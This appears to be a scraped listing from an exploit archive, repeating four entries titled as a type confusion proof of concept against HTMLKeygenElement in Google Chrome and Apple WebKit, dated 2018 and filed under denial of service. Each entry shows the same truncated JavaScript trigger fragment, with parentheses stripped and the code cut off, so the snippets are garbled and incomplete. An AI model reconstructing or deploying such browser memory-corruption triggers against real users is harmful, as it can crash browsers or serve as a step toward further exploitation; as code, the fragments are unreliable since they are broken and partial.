Google Chrome - 'HTMLKeygenElement::shadowSelect()' Type Confusion

var range = document.caretRangeFromPoint50, 50; var shadowtreecontainer = range.commonAncestorContainer; shadowtreecontainer.prepend"foo"; keygenelement.disabled = true;...

Apple WebKit - 'HTMLKeygenElement' Type Confusion

var range = document.caretRangeFromPoint50, 50; var shadowtreecontainer = range.commonAncestorContainer; shadowtreecontainer.prepend"foo"; keygenelement.disabled = true;...

Apple WebKit - HTMLKeygenElement Type Confusion

Apple WebKit - HTMLKeygenElement Type Confusion var range = document.caretRangeFromPoint50, 50; var shadowtreecontainer = range.commonAncestorContainer; shadowtreecontainer.prepend"foo"; keygenelement.disabled = true;...

Google Chrome - HTMLKeygenElement::shadowSelect() Type Confusion Exploit

Exploit for multiple platform in category dos / poc var range = document.caretRangeFromPoint50, 50; var shadowtreecontainer = range.commonAncestorContainer; shadowtreecontainer.prepend"foo"; keygenelement.disabled = true; 0day.today 2018-03-09...